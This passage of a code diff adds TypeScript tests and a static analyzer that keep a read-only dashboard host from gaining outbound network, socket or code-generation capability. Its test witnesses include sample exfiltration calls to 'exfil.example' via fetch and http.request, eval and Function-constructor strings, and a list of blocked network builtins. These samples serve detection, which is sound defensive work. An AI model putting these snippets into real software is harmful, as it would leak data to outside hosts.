*/ -const relativeImportStaysInBoundary = (importerRelPath: string, specifier: string): boolean => { - let resolvedUrl: URL; +const resolveRelativeImport = (importerFileUrl: URL, specifier: string): URL | null => { try { - const importerFileUrl = pathToFileURL(join(hostDir, importerRelPath)); - resolvedUrl = new URL(specifier, importerFileUrl); - if (ENCODED_SEPARATOR.test(resolvedUrl.pathname)) return false; + const resolvedUrl = new URL(specifier, importerFileUrl); + if (ENCODED_SEPARATOR.test(resolvedUrl.pathname)) return null; // Round-trip through `fileURLToPath` so a malformed percent escape (`%2`, // `%zz`) throws and fails closed, matching the real loader; the decoded path // is not otherwise needed because containment compares `file:` URLs. fileURLToPath(resolvedUrl); + return resolvedUrl; } catch { - return false; + return null; + } +}; + +const relativeImportStaysInBoundary = (importerRelPath: string, specifier: string): boolean => { + const resolvedUrl = resolveRelativeImport(pathToFileURL(join(hostDir, importerRelPath)), specifier); + return resolvedUrl !== null && (isWithin(resolvedUrl, HOST_ROOT_URL) || isWithin(resolvedUrl, COCKPIT_BOUNDARY_URL)); +}; + +// The host's *executable* boundary is wider than its own directory: an allowed +// `../cockpit/` import executes Cockpit code, which executes domain code. The +// network policy must read exactly that closure (D3-NET boundary equality), +// rooted at `src/` so `cockpit-host/server.ts` resolves `../cockpit/index.js` +// to `cockpit/index.ts` inside the analyzed tree. +const SRC_ROOT_URL = new URL('../', HOST_ROOT_URL); + +const isRelativeImportSpecifier = (specifier: string): boolean => specifier.startsWith('./') || specifier.startsWith('../'); + +/** A `file:` URL under `src/` as the tree's '/'-separated, `src/`-relative name; anything else is outside the boundary. */ +const srcRelativeName = (fileUrl: URL): string => { + if (!isWithin(fileUrl, SRC_ROOT_URL)) throw new Error(`D3-NET: executable dependency leaves src/: ${fileUrl.href}`); + return decodeURIComponent(fileUrl.href.slice(SRC_ROOT_URL.href.length)); +}; + +/** The `file:` URL of a tree name (the inverse of `srcRelativeName`). */ +const srcFileUrl = (name: string): URL => new URL(name.split('/').map(encodeURIComponent).join('/'), SRC_ROOT_URL); + +/** + * The closure member a runtime relative import executes: resolved through the one + * resolver, then the NodeNext `.js` specifier mapped to its `.ts` source. Throws + * when the import cannot be read as a `src/` source file — an executable + * dependency the tree cannot analyze is exactly the gap the closure closes. + */ +const closureMemberOf = (importerFileUrl: URL, specifier: string): string => { + const resolvedUrl = resolveRelativeImport(importerFileUrl, specifier); + if (resolvedUrl === null) throw new Error(`D3-NET: unresolvable runtime import ${specifier} from ${importerFileUrl.href}`); + const sourceUrl = new URL(resolvedUrl.href.replace(/\.js$/, '.ts').replace(/\.mjs$/, '.mts').replace(/\.cjs$/, '.cts')); + const name = srcRelativeName(sourceUrl); + if (!existsSync(fileURLToPath(sourceUrl))) { + throw new Error(`D3-NET: runtime import ${specifier} from ${importerFileUrl.href} has no source file ${name}`); } - return isWithin(resolvedUrl, HOST_ROOT_URL) || isWithin(resolvedUrl, COCKPIT_BOUNDARY_URL); + return name; }; +/** + * The host's executable import closure: every host source, then every runtime + * relative import of every member, transitively, each admitted only as a `src/` + * source file. `file` is `src/`-relative and '/'-separated — the tree entry's + * own form — so `analyzeNetworkPolicyTree` seeds a Cockpit export into its host + * importer exactly as it seeds a sibling host export. Bounded by the number of + * files under `src/`; a clause-level `import type` loads nothing and is skipped. + */ +function hostExecutableClosure(): readonly { readonly file: string; readonly text: string }[] { + const members = new Map(); + const queue = hostSources().map((source) => srcRelativeName(pathToFileURL(join(hostDir, source.file)))); + for (let next = queue.shift(); next !== undefined; next = queue.shift()) { + if (members.has(next)) continue; + const fileUrl = srcFileUrl(next); + const text = readFileSync(fileURLToPath(fileUrl), 'utf8'); + members.set(next, text); + for (const specifier of extractModuleSpecifiers(text, { runtimeOnly: true })) { + if (isRelativeImportSpecifier(specifier)) queue.push(closureMemberOf(fileUrl, specifier)); + } + } + return [...members].map(([file, text]) => ({ file, text })); +} + // The host's production `node:*` needs are exactly these two (verified across // `src/cockpit-host/**`); every other builtin — `node:fs`, `node:child_process`, // `node:os`, `node:process`, `node:fs/promises`, … — is refused, so a "read-only" @@ -221,7 +286,7 @@ const isAllowedNodeBuiltin = (specifier: string): boolean => ALLOWED_NODE_BUILTI * import site is a distinct occurrence. This is a pure syntactic parse — no * binder, type-checker, module resolution, or file-system access. */ -function extractModuleSpecifiers(source: string): readonly string[] { +function extractModuleSpecifiers(source: string, options: { readonly runtimeOnly?: boolean } = {}): readonly string[] { const sourceFile = ts.createSourceFile( 'module.ts', source, @@ -240,11 +305,17 @@ function extractModuleSpecifiers(source: string): readonly string[] { const visit = (node: ts.Node): void => { if (ts.isImportDeclaration(node) || ts.isExportDeclaration(node)) { + // A clause-level `import type` / `export type` is erased by emit and loads + // nothing at runtime; the executable-closure walk skips it on request. + const typeOnly = ts.isImportDeclaration(node) ? node.importClause?.phaseModifier === ts.SyntaxKind.TypeKeyword : node.isTypeOnly; const specifier = stringLiteralText(node.moduleSpecifier); - if (specifier !== null) specifiers.push(specifier); + if (specifier !== null && !(options.runtimeOnly === true && typeOnly)) specifiers.push(specifier); } else if (ts.isImportEqualsDeclaration(node)) { - // `import x = require('S')` — an external-module reference. - if (ts.isExternalModuleReference(node.moduleReference)) { + // `import x = require('S')` — an external-module reference. A type-only + // `import type x = require('S')` is erased by emit and loads nothing at + // runtime, exactly like a clause-level `import type … from`; the + // executable-closure walk skips it on request (`runtimeOnly`). + if (ts.isExternalModuleReference(node.moduleReference) && !(options.runtimeOnly === true && node.isTypeOnly)) { const specifier = stringLiteralText(node.moduleReference.expression); if (specifier !== null) specifiers.push(specifier); } @@ -2754,10 +2825,13 @@ describe('D3 host purity rejects symlink escapes (D3-CX-POLICY-SYMLINK)', () => // runtime code-generation primitive, so the host must use none. // --------------------------------------------------------------------------- describe('D3 host forbids runtime code generation (D3-CX-POLICY-RC)', () => { - // Enforcement over the real host tree: no production source constructs code at - // runtime, so the discipline is satisfied today and stays satisfied. - it('accepts every real host source (none uses runtime code generation)', () => { - for (const { file, text } of hostSources()) { + // Enforcement over the whole executable closure (the single source of truth): + // every runtime-executable file — host, Cockpit boundary and domain kernel — + // gets the runtime-code-generation guard, not just `src/cockpit-host/**`. No + // production source constructs code at runtime, so the discipline is satisfied + // today and stays satisfied. + it('accepts every real closure source (none uses runtime code generation)', () => { + for (const { file, text } of hostExecutableClosure()) { expect(usesRuntimeCodeGeneration(text), `${file} uses runtime code generation`).toBe(false); } }); @@ -2835,10 +2909,12 @@ describe('D3 host forbids runtime code generation (D3-CX-POLICY-RC)', () => { // A builtin obtained without an import specifier bypasses the exact allowlist. // --------------------------------------------------------------------------- describe('D3 host forbids hidden builtin acquisition (D3-CX-POLICY-HA)', () => { - // Enforcement over the real host tree: no production source acquires a builtin - // through a specifier-less side channel. - it('accepts every real host source (none hides a builtin acquisition)', () => { - for (const { file, text } of hostSources()) { + // Enforcement over the whole executable closure (the single source of truth): + // every runtime-executable file — host, Cockpit boundary and domain kernel — + // gets the hidden-builtin-acquisition guard. No production source acquires a + // builtin through a specifier-less side channel. + it('accepts every real closure source (none hides a builtin acquisition)', () => { + for (const { file, text } of hostExecutableClosure()) { expect(acquiresHiddenBuiltin(text), `${file} hides a builtin acquisition`).toBe(false); } }); @@ -3361,3 +3437,219 @@ describe('D3 host rejects symlink escapes under the Cockpit boundary (D3-CX-POLI expect(hostSources().length).toBeGreaterThan(0); }); }); + +// --------------------------------------------------------------------------- +// D3-NET single source of truth: the executable-safety guards are enforced over +// the *whole* executable closure — `hostExecutableClosure()` — not just +// `src/cockpit-host/**`. The runtime-code-generation guard and the +// hidden-builtin-acquisition guard are applied to every closure member by the +// `D3 host forbids …` describes above (retargeted to the closure). This block +// owns the third guard — the outbound builtin/module allow-list — over the same +// closure, and pins the real closure. Host-directory confinement and the +// symlink/topology checks stay scoped to the host, where they encode directory +// shape rather than executable capability, so a domain member importing a +// sibling domain file is never judged against the Cockpit-host boundary. +// --------------------------------------------------------------------------- +describe('D3 executable closure outbound-capability discipline (D3-NET single source of truth)', () => { + // The one outbound-capability rule for a closure member: every module it loads + // at runtime is either an in-tree relative import (whose target the closure walk + // already confines to `src/`) or one of the exact allow-listed builtins. Every + // other builtin — `node:net`, `node:tls`, `node:dgram`, `node:https`, + // `node:http2`, `node:fs`, … — and every bare package is outbound-capable and + // refused, in any closure member, host or not. + const outboundCapabilityViolation = (text: string): string | null => { + for (const specifier of extractModuleSpecifiers(text, { runtimeOnly: true })) { + if (!(isRelativeImportSpecifier(specifier) || isAllowedNodeBuiltin(specifier))) return specifier; + } + return null; + }; + + it('pins the real closure and gives every runtime file the host network-import restriction', () => { + const closure = hostExecutableClosure(); + // The closure stays exactly the pinned 12-file oracle: nothing drops out + // (e.g. through the type-only import-equals fix) and nothing is silently added. + expect([...closure.map((source) => source.file)].sort()).toEqual([...EXPECTED_HOST_CLOSURE]); + for (const { file, text } of closure) { + // A computed dynamic `import(...)` cannot be confined, so no closure member may hold one. + expect( + hasUnverifiableDynamicImport(text), + `${file} contains an unverifiable (computed) dynamic import`, + ).toBe(false); + expect(outboundCapabilityViolation(text), `${file} imports an outbound-capable module`).toBeNull(); + } + }); + + // --- Regression: outbound-capable builtins in a Cockpit/domain closure member --- + const OUTBOUND_BUILTINS = ['node:net', 'node:tls', 'node:dgram', 'node:https', 'node:http2'] as const; + for (const builtin of OUTBOUND_BUILTINS) { + it(`rejects a Cockpit closure member importing ${builtin}`, () => { + expect(outboundCapabilityViolation(`import handle from '${builtin}';\nexport const x = handle;`)).toBe(builtin); + }); + it(`rejects a domain closure member re-exporting from ${builtin}`, () => { + expect(outboundCapabilityViolation(`export { thing } from '${builtin}';`)).toBe(builtin); + }); + } + it('still accepts the exact production builtins and in-tree relatives', () => { + expect( + outboundCapabilityViolation(`import http from 'node:http';\nimport { pathToFileURL } from 'node:url';`), + ).toBeNull(); + expect( + outboundCapabilityViolation(`import { renderDashboard } from './render.js';\nexport * from '../cockpit/index.js';`), + ).toBeNull(); + }); + + // --- Regression: runtime code generation in a Cockpit/domain closure member --- + // The runtime-code-generation guard (`usesRuntimeCodeGeneration`) is the single + // policy; these witnesses prove it fires on a non-host closure member exactly as + // it does on the host, closing the gap where only `src/cockpit-host/**` was guarded. + const CODEGEN_MEMBERS: readonly { readonly form: string; readonly source: string }[] = [ + { form: 'eval in a Cockpit member', source: `export const run = (): number => eval('1 + 1');` }, + { form: 'Function in a Cockpit member', source: `export const make = Function('return 1');` }, + { form: 'new Function in a domain member', source: `export const make = new Function('return 1');` }, + { form: 'constructor chain in a domain member', source: `export const evil = (() => {}).constructor('return 1');` }, + { form: 'globalThis.eval alias in a domain member', source: `export const g = globalThis.eval;` }, + ]; + for (const { form, source } of CODEGEN_MEMBERS) { + it(`rejects ${form}`, () => { + expect(usesRuntimeCodeGeneration(source)).toBe(true); + }); + } + + // --- Regression: type-only vs runtime `import x = require(...)` in the closure walk --- + it('keeps a type-only ImportEqualsDeclaration out of the runtime closure', () => { + expect(extractModuleSpecifiers(`import type Ns = require('./erased.js');`, { runtimeOnly: true })).toEqual([]); + // It is still a real (type-resolution) dependency when runtime filtering is off. + expect(extractModuleSpecifiers(`import type Ns = require('./erased.js');`)).toEqual(['./erased.js']); + }); + it('keeps a runtime ImportEqualsDeclaration in the runtime closure', () => { + expect(extractModuleSpecifiers(`import Ns = require('./loaded.js');`, { runtimeOnly: true })).toEqual(['./loaded.js']); + expect(extractModuleSpecifiers(`import Ns = require('./loaded.js');`)).toEqual(['./loaded.js']); + // A type-only *alias* (`import type A = B.C`) is not an external-module reference and is never surfaced. + expect(extractModuleSpecifiers(`import type A = Ns.Member;`, { runtimeOnly: true })).toEqual([]); + }); +}); + +/** + * D3 network policy (D3-NET, clean Stage-A model). + * + * The frozen single-file network policy lives in + * `./support/d3-network-policy.ts` and is exercised mechanism-by-mechanism in + * `d3-network-policy.test.ts` together with the semantic regression matrix. + * Here it is applied to the real host tree through the same symlink-checked + * `hostSources()` reader the other host guards use, as one host module graph: + * a server factory exported by one host file stays a proven factory in the + * files that import it. The host source may contain + * one server instantiation site, loopback-bound (a statically proven + * `listen(, '127.0.0.1'[, callback])`); it may not obtain outbound + * network, socket, hidden mutable server, or non-allow-listed request/response + * authority. Nothing about runtime server cardinality is claimed. + */ +describe('D3 host network policy (D3-NET)', () => { + it('accepts every real host source under the frozen network policy', () => { + // The tree entry seeds each file with the proven exports of the sibling + // files it imports (server factories, string constants, string functions) and + // applies the server-instantiation site bound across the whole tree. The tree + // is the host's executable closure — host, Cockpit boundary, domain kernel — + // pinned so that a new executable dependency is enrolled explicitly. + const sources = hostExecutableClosure(); + expect([...sources.map((source) => source.file)].sort()).toEqual([...EXPECTED_HOST_CLOSURE]); + const results = analyzeNetworkPolicyTree(sources); + expect(results.size).toBe(sources.length); + for (const [file, result] of results) { + const detail = result.findings + .map((finding) => `${finding.reason}@${String(finding.line)}:${String(finding.column)} ${finding.text}`) + .join('; '); + expect(result.fixpoint.state, `${file}: fixpoint ${result.fixpoint.state}`).toBe('CONVERGED'); + expect(result.reasons, `${file}: ${detail}`).toEqual([]); + expect(result.verdict, file).toBe('ALLOW'); + } + }); + + it('analyzes the executable closure, not the host directory: every runtime relative import resolves to a closure member', () => { + const closure = hostExecutableClosure(); + const names = new Set(closure.map((source) => source.file)); + expect(names.size).toBe(closure.length); + let imports = 0; + for (const { file, text } of closure) { + for (const specifier of extractModuleSpecifiers(text, { runtimeOnly: true })) { + if (!isRelativeImportSpecifier(specifier)) continue; + imports += 1; + const member = closureMemberOf(srcFileUrl(file), specifier); + expect(names.has(member), `${file} -> ${specifier} executes ${member}, which the tree does not read`).toBe(true); + } + } + expect(imports).toBeGreaterThan(0); + // The host reaches the Cockpit boundary and, through it, the domain kernel: both are in the tree, nothing else is. + expect(names.has('cockpit-host/server.ts')).toBe(true); + expect(names.has('cockpit/index.ts')).toBe(true); + expect(names.has('domain/evidence.ts')).toBe(true); + for (const name of names) { + expect(/^(cockpit-host|cockpit|domain)\//.test(name), name).toBe(true); + } + // A type-only import loads nothing: it neither adds a member nor counts as an executable edge. + expect(extractModuleSpecifiers(`import type { T } from './t.js';\nimport { v } from './v.js';\nexport type { U } from './u.js';`, { runtimeOnly: true })).toEqual(['./v.js']); + expect(extractModuleSpecifiers(`import type { T } from './t.js';\nimport { v } from './v.js';`)).toEqual(['./t.js', './v.js']); + }); + + it('denies an allowed ../cockpit helper that uses network or server authority (boundary witness)', () => { + const listener = `(request: http.IncomingMessage, response: http.ServerResponse) => { response.end('ok'); }`; + const cockpitNet = `export function send(body: string): void {\n void fetch('https://exfil.example/', { method: 'POST', body });\n}`; + const cockpitFactory = `import http from 'node:http';\nexport function makeServer(): http.Server {\n return http.createServer(${listener});\n}`; + const host = `import { send } from '../cockpit/net.js';\nimport { makeServer } from '../cockpit/server-factory.js';\nsend('snapshot');\nmakeServer().listen(4567, '0.0.0.0');`; + // The host directory alone cannot see the helpers, so the same host text is unprivileged: this is the gap. + const hostOnly = analyzeNetworkPolicyTree([{ file: 'cockpit-host/server.ts', text: host }]); + expect(hostOnly.get('cockpit-host/server.ts')?.verdict).toBe('ALLOW'); + // The executable closure reads them, seeds the host importer, and judges every file under the one policy. + const closure = analyzeNetworkPolicyTree([ + { file: 'cockpit-host/server.ts', text: host }, + { file: 'cockpit/net.ts', text: cockpitNet }, + { file: 'cockpit/server-factory.ts', text: cockpitFactory }, + ]); + expect(closure.get('cockpit/net.ts')?.reasons).toEqual(['FREE_GLOBAL_NETWORK']); + expect(closure.get('cockpit/server-factory.ts')?.reasons).toEqual([]); + expect(closure.get('cockpit-host/server.ts')?.reasons).toEqual(['SERVER_LISTEN_BINDING']); + // Through the barrel and into the domain kernel — the real shape of the host's closure — the verdict is the same. + const viaBarrel = analyzeNetworkPolicyTree([ + { file: 'cockpit-host/server.ts', text: `import { send } from '../cockpit/index.js';\nsend('snapshot');` }, + { file: 'cockpit/index.ts', text: `export { send } from '../domain/exfil.js';` }, + { file: 'domain/exfil.ts', text: cockpitNet }, + ]); + expect(viaBarrel.get('domain/exfil.ts')?.reasons).toEqual(['FREE_GLOBAL_NETWORK']); + expect(viaBarrel.get('cockpit-host/server.ts')?.reasons).toEqual([]); + }); + + it('rejects a host that reaches outbound network or leaks server authority (witness)', () => { + const witness = ` +import http from 'node:http'; +import { request as httpRequest } from 'node:http'; + +function handle(request: http.IncomingMessage, response: http.ServerResponse): void { + void fetch('https://exfil.example/' + (request.url ?? '')); + const { socket } = request; + socket.write('raw'); + httpRequest('http://exfil.example/').end(); + response.statusCode = 200; + response.end('ok'); +} + +export function createCockpitServer(): http.Server { + return http.createServer(handle); +} + +const server = createCockpitServer(); +export { server }; +export const spare = http.createServer({ keepAlive: true }, handle); +server.listen(4317, '127.0.0.1'); +`; + const result = analyzeNetworkPolicy(witness); + expect(result.verdict).toBe('DENY'); + expect(result.reasons).toEqual([ + 'CREATE_SERVER_ARITY', + 'CREATE_SERVER_MULTIPLE', + 'FREE_GLOBAL_NETWORK', + 'HTTP_CLIENT_CAPABILITY', + 'REQUEST_DESTRUCTURING', + 'SERVER_EXPORT', + ]); + }); +}); diff --git a/tests/cockpit-host/support/d3-network-policy.ts b/tests/cockpit-host/support/d3-network-policy.ts new file mode 100644 index 0000000..ed98859 --- /dev/null +++ b/tests/cockpit-host/support/d3-network-policy.ts @@ -0,0 +1,1951 @@ +/** + * Cockpit D3 — network policy for the read-only dashboard host (Stage A). + * + * A static, development-time source policy over ONE TypeScript file at a time. + * It is not a runtime sandbox. The source may contain one server instantiation + * site, loopback-bound, and must not obtain outbound network capability, socket + * capability, hidden mutable server capability, or privileged request/response + * authority beyond the explicitly allow-listed operations. Nothing about + * runtime server cardinality is claimed: the bound is a static source-site + * invariant plus a statically proven `127.0.0.1` listen binding. + * + * Core structural invariant: + * + * PROVEN_PRIVILEGED_TARGET + NON_ALLOWLISTED_OPERATION = DENY + * + * Declared analysis boundary (nothing else is used): + * - TypeScript binder identity over a `noLib`/`noResolve` single-file Program + * - AST position + * - unique `const` bindings and unique bodied local `FunctionDeclaration`s + * - finite local propagation through a bounded monotone fixpoint + * - finite static-key folding + * - the host module graph, only through `analyzeNetworkPolicyTree`: proven + * exports of sibling host files (server factories, string constants and + * string-returning functions) seeded into their importers + * + * One concept, one implementation: `valueSymbolOf` is the only symbol + * resolution path; `resolveStaticKey` is the only key resolver; + * `resolvePropagationParameter` is the only parameter-propagation predicate; + * `expressionFacts` is the only expression-authority lookup; + * `Context.facts` is the only provenance map; `runFixpoint` is the only fixpoint. + */ + +import ts from 'typescript'; + +// --------------------------------------------------------------------------- +// Public result model +// --------------------------------------------------------------------------- + +export type Verdict = 'ALLOW' | 'DENY'; +export type AuthorityClass = 'SERVER' | 'REQUEST' | 'RESPONSE'; +export type AuthorityOrigin = 'ROOT' | 'ALIAS' | 'PARAM'; +export type FixpointState = 'CONVERGED' | 'EXHAUSTED'; + +type UseViolation = + | 'ESCAPE' + | 'MEMBER' + | 'WRITE' + | 'DESTRUCTURING' + | 'EXPORT' + | 'MUTABLE_BINDING' + | 'UNCONFINED_RETURN'; + +export type TargetReason = `${AuthorityClass}_${UseViolation}`; + +export type ReasonCode = + | TargetReason + | 'ARGUMENTS_USE' + | 'THIS_EXPRESSION' + | 'FIXPOINT_EXHAUSTED' + | 'FREE_GLOBAL_NETWORK' + | 'GLOBAL_RECEIVER_NETWORK_MEMBER' + | 'GLOBAL_RECEIVER_RUNTIME_KEY' + | 'GLOBAL_RECEIVER_ESCAPE' + | 'GLOBAL_RECEIVER_DESTRUCTURING' + | 'GLOBAL_RECEIVER_WRITE' + | 'GLOBAL_RECEIVER_CALL' + | 'PROCESS_GLOBAL_USE' + | 'HTTP_CLIENT_CAPABILITY' + | 'HTTP_IMPORT_EQUALS' + | 'HTTP_DYNAMIC_IMPORT' + | 'HTTP_REEXPORT' + | 'HTTP_NAMESPACE_ESCAPE' + | 'HTTP_NAMESPACE_RUNTIME_KEY' + | 'CREATE_SERVER_ESCAPE' + | 'CREATE_SERVER_NEW' + | 'CREATE_SERVER_NOT_CALLED' + | 'CREATE_SERVER_ARITY' + | 'CREATE_SERVER_MULTIPLE' + | 'SERVER_LISTEN_BINDING' + | 'SERVER_CLOSE_CALLBACK' + | 'RESPONSE_END_ARGUMENT' + | 'SERVER_FACTORY_ESCAPE' + | 'LISTENER_NOT_FUNCTION' + | 'LISTENER_PARAMETER_PATTERN' + | 'LISTENER_THIS_PARAMETER'; + +export interface Finding { + readonly reason: ReasonCode; + readonly line: number; + readonly column: number; + readonly text: string; +} + +export interface FixpointReport { + readonly state: FixpointState; + readonly iterations: number; + readonly bound: number; +} + +export interface NetworkPolicyResult { + readonly verdict: Verdict; + readonly reasons: readonly ReasonCode[]; + readonly findings: readonly Finding[]; + readonly fixpoint: FixpointReport; +} + +/** Proven exports of one sibling host file, as seen by an importer (host module graph, tree entry). */ +export interface HostModuleExports { + /** Export names that are confined server factories in the exporting file. */ + readonly factories: ReadonlySet; + /** The subset of `factories` whose own body instantiates a server (directly or through another instantiating confined factory), as opposed to returning an alias. */ + readonly instantiatingFactories: ReadonlySet; + /** Export names whose value is a proven string. */ + readonly strings: ReadonlySet; + /** Export names that are local functions returning only proven strings. */ + readonly stringFunctions: ReadonlySet; +} + +export interface NetworkPolicyOptions { + /** Absolute safety ceiling on fixpoint iterations (test hook; default `DEFAULT_FIXPOINT_CEILING`). */ + readonly fixpointCeiling?: number; + /** Proven exports of sibling host files, keyed by the exact module specifier text used in this file (set by `analyzeNetworkPolicyTree`). */ + readonly hostImports?: ReadonlyMap; + /** Server-instantiation sites already counted in earlier files of the same host tree (set by `analyzeNetworkPolicyTree`). */ + readonly priorInstantiationSites?: number; + /** Directory separator the `HostSource.file` names use (test hook; default: the running platform's, as `readdirSync` emits it). */ + readonly separator?: '/' | '\\'; +} + +export type StaticKey = + | { readonly kind: 'RESOLVED'; readonly value: string } + | { readonly kind: 'NOT_CAPABILITY' } + | { readonly kind: 'INDETERMINATE' }; + +// --------------------------------------------------------------------------- +// Frozen policy tables +// --------------------------------------------------------------------------- + +export const HTTP_MODULE_SPECIFIERS: ReadonlySet = new Set(['node:http', 'http']); +/** Global outbound-network capabilities of the supported Node runtime: HTTP, WebSocket and server-sent events. */ +export const NETWORK_GLOBAL_NAMES: ReadonlySet = new Set(['fetch', 'WebSocket', 'EventSource']); +export const GLOBAL_RECEIVER_NAMES: ReadonlySet = new Set(['globalThis', 'window', 'self', 'global']); +/** + * The free `process` global is a Node authority object (handle introspection, + * builtin acquisition, environment, signals, exit). Its one permitted runtime + * use is the real host's entry guard, reading `process.argv[]`. + */ +export const PROCESS_GLOBAL = 'process'; +export const PROCESS_ARGV = 'argv'; +const CREATE_SERVER = 'createServer'; +const SERVER_LISTEN = 'listen'; +const SERVER_CLOSE = 'close'; +export const SERVER_METHODS: ReadonlySet = new Set([SERVER_LISTEN, SERVER_CLOSE]); +/** The only host a proven SERVER target may listen on (positive policy; compared through the static-key resolver). */ +export const LOOPBACK_HOST = '127.0.0.1'; +/** Largest decimal port a proven SERVER target may listen on. */ +export const PORT_MAX = 65535; +export const REQUEST_READS: ReadonlySet = new Set(['method', 'url']); +const RESPONSE_END = 'end'; +export const RESPONSE_METHODS: ReadonlySet = new Set(['setHeader', RESPONSE_END]); +const RESPONSE_STATUS = 'statusCode'; + +/** Every key the policy ever compares a static string against. */ +export const POLICY_KEY_NAMES: readonly string[] = [ + ...HTTP_MODULE_SPECIFIERS, + ...NETWORK_GLOBAL_NAMES, + ...GLOBAL_RECEIVER_NAMES, + PROCESS_GLOBAL, + PROCESS_ARGV, + CREATE_SERVER, + ...SERVER_METHODS, + ...REQUEST_READS, + ...RESPONSE_METHODS, + RESPONSE_STATUS, + LOOPBACK_HOST, +]; + +/** A folded string longer than this can never be a policy key: NOT_CAPABILITY. */ +export const STATIC_KEY_CEILING: number = POLICY_KEY_NAMES.reduce((max, name) => Math.max(max, name.length), 0); + +export const STATIC_KEY_DEPTH_LIMIT = 64; +export const STATIC_KEY_WORK_LIMIT = 10_000; +export const LISTENER_HOP_LIMIT = 32; +export const DEFAULT_FIXPOINT_CEILING = 10_000; + +const RESOLVED = (value: string): StaticKey => ({ kind: 'RESOLVED', value }); +const NOT_CAPABILITY: StaticKey = { kind: 'NOT_CAPABILITY' }; +const INDETERMINATE: StaticKey = { kind: 'INDETERMINATE' }; + +const isResolvedTo = (key: StaticKey, names: ReadonlySet | string): boolean => + key.kind === 'RESOLVED' && (typeof names === 'string' ? key.value === names : names.has(key.value)); + +// --------------------------------------------------------------------------- +// Analysis context +// --------------------------------------------------------------------------- + +type FunctionLike = ts.ArrowFunction | ts.FunctionExpression | ts.FunctionDeclaration; + +interface Context { + readonly sourceFile: ts.SourceFile; + readonly checker: ts.TypeChecker; + readonly findings: Finding[]; + /** Every runtime value read, grouped by binder symbol (`valueSymbolOf`). */ + readonly valueReads: Map; + /** Runtime value reads that bind to no in-file symbol (free globals under noLib). */ + readonly unboundValueReads: ts.Identifier[]; + /** Symbols introduced by any declaration name in the file (fixpoint bound). */ + readonly declaredSymbols: Set; + /** Binder-resolved writes per symbol (assignment, compound, update, destructuring, for-in/of). */ + readonly writeCounts: Map; + readonly httpNamespaces: Set; + readonly createServerBindings: Set; + readonly calls: ts.CallExpression[]; + readonly variableDeclarations: ts.VariableDeclaration[]; + /** Symbols bound to a local function (FunctionDeclaration or const arrow/function expression). */ + readonly functionBindings: Set; + readonly thisExpressions: ts.Node[]; + /** THE provenance map: symbol -> set of `${class}:${origin}` facts. */ + readonly facts: Map>; + readonly confinedFactories: Set; + readonly keyMemo: Map; + keyWork: number; + /** Number of `expressionFacts` evaluations (complexity witness for the inspection API). */ + expressionFactsEvaluations: number; + readonly fixpointCeiling: number; + /** Proven exports of sibling host files by specifier text (tree entry; empty for a standalone file). */ + readonly hostImports: ReadonlyMap; + /** Server-instantiation sites counted in earlier files of the same tree. */ + readonly priorInstantiationSites: number; + /** Import bindings seeded as confined server factories from sibling host files. */ + readonly externalFactories: Set; + /** The subset of `externalFactories` the exporting file proved to instantiate a server. */ + readonly externalInstantiatingFactories: Set; + /** Confined factories (local or seeded) that instantiate a server (recorded by `checkInstantiationSites`). */ + readonly instantiatingFactories: Set; + /** Import bindings seeded as proven strings / string-returning functions from sibling host files. */ + readonly externalStrings: Set; + readonly externalStringFunctions: Set; + /** Server-instantiation sites found in this file (recorded by `checkInstantiationSites`). */ + instantiationSites: number; +} + +const FILE_NAME = 'host.ts'; + +function createProgram(source: string): { sourceFile: ts.SourceFile; checker: ts.TypeChecker } { + const parsed = ts.createSourceFile(FILE_NAME, source, ts.ScriptTarget.ESNext, true, ts.ScriptKind.TS); + const host: ts.CompilerHost = { + getSourceFile: (fileName) => (fileName === FILE_NAME ? parsed : undefined), + getDefaultLibFileName: () => 'lib.d.ts', + writeFile: () => undefined, + getCurrentDirectory: () => '', + getCanonicalFileName: (fileName) => fileName, + useCaseSensitiveFileNames: () => true, + getNewLine: () => '\n', + fileExists: (fileName) => fileName === FILE_NAME, + readFile: () => undefined, + directoryExists: () => false, + getDirectories: () => [], + }; + const program = ts.createProgram( + [FILE_NAME], + { noLib: true, noResolve: true, types: [], target: ts.ScriptTarget.ESNext, module: ts.ModuleKind.ESNext }, + host, + ); + const sourceFile = program.getSourceFile(FILE_NAME); + if (sourceFile === undefined) { + throw new Error('D3 network policy: single-file program did not retain its source file'); + } + return { sourceFile, checker: program.getTypeChecker() }; +} + +function deny(ctx: Context, reason: ReasonCode, node: ts.Node): void { + const { line, character } = ctx.sourceFile.getLineAndCharacterOfPosition(node.getStart(ctx.sourceFile)); + const raw = node.getText(ctx.sourceFile); + const text = raw.length > 80 ? `${raw.slice(0, 77)}...` : raw; + ctx.findings.push({ reason, line: line + 1, column: character + 1, text }); +} + +// --------------------------------------------------------------------------- +// Transparent wrappers and AST position helpers +// --------------------------------------------------------------------------- + +type Wrapper = + | ts.ParenthesizedExpression + | ts.AsExpression + | ts.SatisfiesExpression + | ts.NonNullExpression + | ts.TypeAssertion; + +const isWrapper = (node: ts.Node): node is Wrapper => + ts.isParenthesizedExpression(node) || + ts.isAsExpression(node) || + ts.isSatisfiesExpression(node) || + ts.isNonNullExpression(node) || + ts.isTypeAssertionExpression(node); + +/** Strip identity-preserving wrappers downward. */ +export function unwrap(expression: ts.Expression): ts.Expression { + let current = expression; + while (isWrapper(current)) current = current.expression; + return current; +} + +/** Climb identity-preserving wrappers upward; returns the outermost wrapped node and its parent. */ +function climb(node: ts.Node): { readonly node: ts.Node; readonly parent: ts.Node } { + let current = node; + let parent = current.parent; + while (isWrapper(parent) && parent.expression === current) { + current = parent; + parent = current.parent; + } + return { node: current, parent }; +} + +const isAssignmentOperator = (kind: ts.SyntaxKind): boolean => + kind >= ts.SyntaxKind.FirstAssignment && kind <= ts.SyntaxKind.LastAssignment; + +const isUpdateExpression = (node: ts.Node): boolean => + (ts.isPrefixUnaryExpression(node) || ts.isPostfixUnaryExpression(node)) && + (node.operator === ts.SyntaxKind.PlusPlusToken || node.operator === ts.SyntaxKind.MinusMinusToken); + +/** + * Whether `node` (an identifier or member access) is written: `=`, compound + * assignment, `++`/`--`, `delete`, a for-in/for-of target, or any position inside + * a destructuring-assignment pattern that is itself such a target. Wrappers + * around the target are transparent. + */ +export function isWriteTarget(node: ts.Node): boolean { + let current = climb(node).node; + for (;;) { + const parent = current.parent; + if (ts.isBinaryExpression(parent) && isAssignmentOperator(parent.operatorToken.kind) && parent.left === current) { + return true; + } + if (isUpdateExpression(parent) || ts.isDeleteExpression(parent)) return true; + if ((ts.isForInStatement(parent) || ts.isForOfStatement(parent)) && parent.initializer === current) return true; + if (ts.isArrayLiteralExpression(parent)) { + current = climb(parent).node; + 